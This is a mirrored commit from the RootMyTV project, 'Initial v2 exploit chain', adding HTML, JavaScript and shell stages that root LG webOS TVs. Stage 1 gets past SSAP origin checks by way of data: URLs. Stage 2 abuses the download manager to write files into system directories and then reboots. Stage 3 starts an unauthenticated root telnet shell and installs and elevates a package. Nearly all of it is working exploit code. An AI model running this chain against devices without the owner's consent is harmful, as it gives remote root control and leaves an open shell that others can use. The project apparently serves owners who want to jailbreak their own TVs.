kopia lustrzana https://github.com/RootMyTV/RootMyTV.github.io
Initial v2 exploit chain
rodzic
6a5752255a
commit
d8ccc66d6b
|
@ -0,0 +1,152 @@
|
|||
@import url("https://fonts.googleapis.com/css2?family=Orbitron:wght@900&display=swap");
|
||||
|
||||
body {
|
||||
background-color: #000;
|
||||
font-family: sans-serif;
|
||||
font-size: 15pt; /* 15pt / 22pt */
|
||||
transform: translate3d(0,0,0); /* Hack to disable drag scrolling in WebOS */
|
||||
overflow-x: hidden;
|
||||
}
|
||||
.content-center {
|
||||
max-width: 40em;
|
||||
margin: auto;
|
||||
}
|
||||
hr {
|
||||
width: 90%;
|
||||
height: 0;
|
||||
border: 0;
|
||||
margin: 2em auto;
|
||||
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178;
|
||||
}
|
||||
hr:after { /* https://css-tricks.com/examples/hrs/ */
|
||||
content: "\00a0"; /* Prevent margin collapse */
|
||||
}
|
||||
header > h1 {
|
||||
font-family: 'Orbitron', sans-serif;
|
||||
font-weight: 900;
|
||||
text-align: center;
|
||||
color: #000;
|
||||
font-size: 4em;
|
||||
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
|
||||
}
|
||||
article {
|
||||
line-height: 1.5;
|
||||
color: #c4f0fd;
|
||||
font-family: 'Cantarell', sans-serif;
|
||||
}
|
||||
article > p {
|
||||
text-align: justify;
|
||||
margin: 1em;
|
||||
}
|
||||
|
||||
.slider-bar {
|
||||
width: 90%;
|
||||
margin: 2em auto;
|
||||
border: 1px solid #fff;
|
||||
position: relative;
|
||||
display: block;
|
||||
border-radius: 1em;
|
||||
|
||||
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.5em #731178, inset 0 0 1em 0.5em #731178, inset 0 0 1px 1px #fff;
|
||||
/**/
|
||||
background: black;
|
||||
}
|
||||
|
||||
/* Use pre-baked glow effect to improve perf on the TV itself */
|
||||
/* @media only screen and (width: 1920px) {
|
||||
.slider-bar:before {
|
||||
content: "";
|
||||
background-image: url("./sliderbar.png");
|
||||
position: absolute;
|
||||
width: 1173px;
|
||||
height: 240px;
|
||||
background-repeat: no-repeat;
|
||||
margin-top: -2em;
|
||||
margin-left: -2em;
|
||||
}
|
||||
.slider-text {
|
||||
background-image: url("./slidetoroot.png");
|
||||
background-position: center;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
}*/
|
||||
.slider-button {
|
||||
z-index: 1;
|
||||
display: block;
|
||||
border: 1px solid #fff;
|
||||
border-radius: 0.5em;
|
||||
margin: 0.4em;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
box-sizing:border-box;
|
||||
left: 0%;
|
||||
width: 15%;
|
||||
height: 80%;
|
||||
text-align: center;
|
||||
|
||||
box-shadow: 0 0 1px 1px #fff, 0 0 1em 0.2em #0bb6be, inset 0 0 1em 0.2em #0bb6be, inset 0 0 1px 1px #fff;
|
||||
/**/
|
||||
}
|
||||
.slider-button > p {
|
||||
cursor: grab;
|
||||
font-family: 'Orbitron', sans-serif;
|
||||
font-size: 3em;
|
||||
margin: 0;
|
||||
color: black;
|
||||
margin-top: -0.3em;
|
||||
|
||||
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.3em #0bb6be, 0 0 0.3em #0bb6be;
|
||||
/**/
|
||||
}
|
||||
.slider-text {
|
||||
margin: 0;
|
||||
display: block;
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
font-family: 'Orbitron', sans-serif;
|
||||
font-size: 2.5em;
|
||||
color: black;
|
||||
|
||||
text-shadow: 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 3px #d4ffff, 0 0 1em #0bb6be, 0 0 0.2em #0bb6be;
|
||||
/**/
|
||||
padding-top: 0.04em;
|
||||
padding-bottom: 0.12em;
|
||||
|
||||
|
||||
position: relative;
|
||||
}
|
||||
.slider-text:after {
|
||||
content: "slide to root";
|
||||
position: absolute;
|
||||
left: 0;
|
||||
text-shadow: none;
|
||||
width: 100%;
|
||||
|
||||
background-clip: text;
|
||||
-webkit-background-clip: text;
|
||||
-moz-background-clip: text;
|
||||
text-fill-color: transparent;
|
||||
-webkit-text-fill-color: transparent;
|
||||
-moz-text-fill-color: transparent;
|
||||
background-image: linear-gradient(270deg, #000 0%, #11bbc2 15%, #000 30%, #000 100%);
|
||||
animation: Shine 3000s linear infinite;
|
||||
/**/
|
||||
}
|
||||
|
||||
@keyframes Shine {
|
||||
0%{
|
||||
background-position: 0 0;
|
||||
}
|
||||
100%{
|
||||
background-position: 1000000px 0; /* FIXME: should be percentage, but that breaks it */
|
||||
}
|
||||
}
|
||||
|
||||
#log {
|
||||
width: 100%;
|
||||
font-size: 0.7em;
|
||||
white-space: pre-wrap;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
|
@ -0,0 +1 @@
|
|||
yep
|
|
@ -0,0 +1,181 @@
|
|||
<html>
|
||||
|
||||
<head>
|
||||
<title>RootMyTV - Stage 1</title>
|
||||
<link rel="stylesheet" href="common.css" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<header>
|
||||
<h1>RootMy.TV</h1>
|
||||
</header>
|
||||
<hr>
|
||||
<section class="content-center">
|
||||
<button id="exploit" class="slider-bar">
|
||||
Press to root
|
||||
</button>
|
||||
<article>
|
||||
<pre id="log"></pre>
|
||||
</article>
|
||||
</section>
|
||||
|
||||
<script>
|
||||
window.ORIGIN_URL = window.location.protocol === 'data:' ? '__START_ORIGIN__' : window.location.href;
|
||||
|
||||
window.onerror = function (err) {
|
||||
console.error(err);
|
||||
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
|
||||
};
|
||||
</script>
|
||||
<script>
|
||||
// Exploit data: url navigation for browsers which didn't have following patch
|
||||
// applied yet (webOS 3.x):
|
||||
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
|
||||
try {
|
||||
if (window.location.protocol !== 'data:') {
|
||||
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
|
||||
.replace('="common.css"', '="' + new URL('common.css', window.location.href).href + '"')
|
||||
.replace('__START_ORIGIN__', window.location.href));
|
||||
}
|
||||
} catch (err) {}
|
||||
|
||||
function log(str) {
|
||||
var logBox = document.querySelector('#log');
|
||||
logBox.innerText = str + '\n' + logBox.innerText;
|
||||
}
|
||||
|
||||
// Minimal implementation of WebSocket API that we use to workaround origin
|
||||
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
|
||||
// null header to be sent, which is explicitly allowed.
|
||||
function ProxyWebSocket(target) {
|
||||
|
||||
// Proxy payload - this function is run in data: iframe and is meant to exchange
|
||||
// WebSocket calls and events with parent frame.
|
||||
function proxyPayload(address) {
|
||||
// Helper function that forwards events/messages to parent frame
|
||||
function forward(type, data) {
|
||||
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
|
||||
}
|
||||
|
||||
try {
|
||||
var conn = new WebSocket(address);
|
||||
conn.onopen = function (evt) {forward('open', evt);}
|
||||
conn.onclose = function (evt) {forward('close', evt);}
|
||||
conn.onerror = function (evt) {forward('error', evt);}
|
||||
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
|
||||
window.addEventListener("message", function (event) {
|
||||
var msg = JSON.parse(event.data);
|
||||
if (msg.type === 'send') {
|
||||
conn.send(msg.data);
|
||||
}
|
||||
}, false);
|
||||
} catch (err) {
|
||||
forward('error', err);
|
||||
}
|
||||
}
|
||||
|
||||
var self = this;
|
||||
this.proxy = document.createElement('iframe');
|
||||
this.proxy.style.display = 'none';
|
||||
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
|
||||
window.addEventListener("message", function (event) {
|
||||
if (event.source !== self.proxy.contentWindow) return;
|
||||
const msg = JSON.parse(event.data);
|
||||
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
|
||||
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
|
||||
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
|
||||
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
|
||||
if (msg.type === 'log') console.info('proxy:', msg.data);
|
||||
}, false);
|
||||
document.querySelector('body').appendChild(this.proxy);
|
||||
return this;
|
||||
}
|
||||
ProxyWebSocket.prototype.send = function (data) {
|
||||
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
|
||||
}
|
||||
ProxyWebSocket.prototype.close = function () {
|
||||
this.proxy.parentNode.removeChild(this.proxy);
|
||||
}
|
||||
|
||||
// Final exploit code
|
||||
var conn = null;
|
||||
function bootstrap(target, url) {
|
||||
try {
|
||||
log('0. Connecting...');
|
||||
|
||||
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
|
||||
conn = new ProxyWebSocket('ws://' + target + ':3000');
|
||||
conn.onopen = function (evt) {
|
||||
console.info('open', evt);
|
||||
log('1. Connected, registering... Accept prompt on the TV.');
|
||||
const handshake = {
|
||||
id: "reg_req",
|
||||
type: "register",
|
||||
payload: {
|
||||
forcePairing: false,
|
||||
pairingType: "PROMPT",
|
||||
"client-key": "xxx",
|
||||
|
||||
// Minimal manifest that gives us permission to launch a system
|
||||
// application
|
||||
manifest: {
|
||||
manifestVersion: 1,
|
||||
permissions: ["LAUNCH"],
|
||||
},
|
||||
}
|
||||
};
|
||||
conn.send(JSON.stringify(handshake));
|
||||
};
|
||||
|
||||
conn.onmessage = function (evt) {
|
||||
const msg = JSON.parse(evt.data);
|
||||
|
||||
if (msg.type === 'registered') {
|
||||
log('2. Registered - opening webpage...');
|
||||
conn.send(JSON.stringify({
|
||||
id: 'launch_req',
|
||||
type: "request",
|
||||
uri: "ssap://system.launcher/launch",
|
||||
payload: {
|
||||
id: "com.webos.app.facebooklogin",
|
||||
params: {
|
||||
server: url.replace('http://', '').replace('https://', '') + "#",
|
||||
}
|
||||
},
|
||||
}));
|
||||
} else if (msg.type === 'response') {
|
||||
if (msg.payload.returnValue === true && msg.id === 'launch_req') {
|
||||
log('2. Launch request finished');
|
||||
} else if (msg.id !== 'reg_req') {
|
||||
log('Unexpected response: ' + evt.data);
|
||||
}
|
||||
} else if (msg.type === 'error') {
|
||||
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
|
||||
} else {
|
||||
log('Unexpected message: ' + evt.data);
|
||||
}
|
||||
};
|
||||
conn.onclose = function (evt) {
|
||||
console.info('close', evt);
|
||||
log('Closed');
|
||||
};
|
||||
conn.onerror = function (evt) {
|
||||
console.info('error', evt);
|
||||
if (evt.message && evt.message.indexOf('insecure') !== -1) {
|
||||
log('Error occured during connection... Attempting data URL hack...');
|
||||
} else {
|
||||
log('Error occured during connection - Do you have LG Connect Apps enabled?');
|
||||
}
|
||||
};
|
||||
} catch (err) {
|
||||
log("An unexpected error occured: " + err.toString());
|
||||
}
|
||||
}
|
||||
|
||||
document.querySelector('#exploit').addEventListener('click', function () {
|
||||
bootstrap('localhost', new URL('stage2.html', ORIGIN_URL).href);
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
|
@ -0,0 +1,88 @@
|
|||
<html>
|
||||
|
||||
<head>
|
||||
<title>RootMyTV - Stage 2</title>
|
||||
<link rel="stylesheet" href="common.css" />
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<header>
|
||||
<h1>RootMy.TV</h1>
|
||||
</header>
|
||||
<hr>
|
||||
<section class="content-center">
|
||||
<article>
|
||||
<pre id="log"></pre>
|
||||
</article>
|
||||
</section>
|
||||
<script src="webOSTV.js"></script>
|
||||
<script>
|
||||
function log(str) {
|
||||
var logBox = document.querySelector('#log');
|
||||
logBox.innerText = str + '\n' + logBox.innerText;
|
||||
}
|
||||
|
||||
window.onerror = function (err) {log('Unexpected error: ' + err);};
|
||||
|
||||
(function () {
|
||||
function download(url, targetDir, targetFilename, success) {
|
||||
var target = new URL(url, window.location.href).href;
|
||||
log(targetFilename + ': Downloading from ' + target + '...');
|
||||
webOS.service.request('luna://com.webos.service.downloadmanager', {
|
||||
method: 'download',
|
||||
parameters: {
|
||||
target: target,
|
||||
targetDir: targetDir,
|
||||
targetFilename: targetFilename,
|
||||
subscribe: true,
|
||||
},
|
||||
|
||||
onSuccess: function (res) {
|
||||
if (res.completed === true) {
|
||||
if (res.destPath !== targetDir) {
|
||||
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
|
||||
} else if (res.httpStatus !== 200) {
|
||||
log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
|
||||
} else {
|
||||
log(targetFilename + ': Download completed');
|
||||
success();
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
onFailure: function (err) {
|
||||
log('err: ' + JSON.stringify(err));
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
function reboot() {
|
||||
webOS.service.request('luna://com.webos.service.sleep', {
|
||||
method: 'shutdown/machineReboot',
|
||||
parameters: {
|
||||
reason: "SwDownload"
|
||||
},
|
||||
onSuccess: function (res) {
|
||||
log("Reboot request succeeded. Bye?");
|
||||
},
|
||||
onFailure: function (res) {
|
||||
log("Failed to reboot: " + JSON.stringify(res));
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
// Placeholder...
|
||||
var homebrewChannelURL = 'https://github.com/mariotaku/moonlight-tv/releases/download/v0.7.4/com.limelight.webos_0.7.4_arm.ipk';
|
||||
|
||||
download('stage3.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode-xxx.sh', function () {
|
||||
download(homebrewChannelURL, '/media/internal/downloads/', 'hbchannel.ipk', function () {
|
||||
download('devmode_enabled', '/var/luna/preferences/', 'devmode_enabled', function () {
|
||||
reboot();
|
||||
});
|
||||
});
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
|
@ -0,0 +1,32 @@
|
|||
#!/bin/sh
|
||||
|
||||
# Remove this script - in case a reboot happens, we should end up with a clean
|
||||
# system...
|
||||
rm $0
|
||||
|
||||
# Start root telnet server
|
||||
telnetd -l /bin/sh
|
||||
|
||||
# give the system time to wake up
|
||||
sleep 5
|
||||
|
||||
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing homebrew channel..."}'
|
||||
|
||||
mkfifo /tmp/luna-install
|
||||
luna-send -i 'luna://com.webos.appInstallService/dev/install' '{"id":"com.ares.defaultName","ipkUrl":"/media/internal/downloads/hbchannel.ipk","subscribe":true}' >/tmp/luna-install &
|
||||
LUNA_PID=$!
|
||||
echo "pid: $LUNA_PID"
|
||||
egrep -i -m 1 'installed|failed' /tmp/luna-install
|
||||
echo "finished"
|
||||
kill -term $LUNA_PID
|
||||
rm /tmp/luna-install
|
||||
|
||||
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Elevating homebrew channel..."}'
|
||||
/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service
|
||||
|
||||
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Installing final start-devmode.sh..."}'
|
||||
cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/start-devmode.sh
|
||||
|
||||
luna-send -a webosbrew -f -n 1 luna://com.webos.notification/createToast '{"sourceId":"webosbrew","message": "Finished!"}'
|
||||
|
||||
luna-send -a com.webos.service.secondscreen.gateway -f -n 1 luna://com.webos.notification/createAlert '{"sourceId":"webosbrew","message":"webOS Homebrew Channel installed. Would you like to reboot now?","buttons":[{"label":"Reboot now","onclick":"luna://com.webos.service.sleep/shutdown/machineReboot","params":{"reason":"SwDownload"}},{"label":"Reboot later"}]}'
|
File diff suppressed because one or more lines are too long
Ładowanie…
Reference in New Issue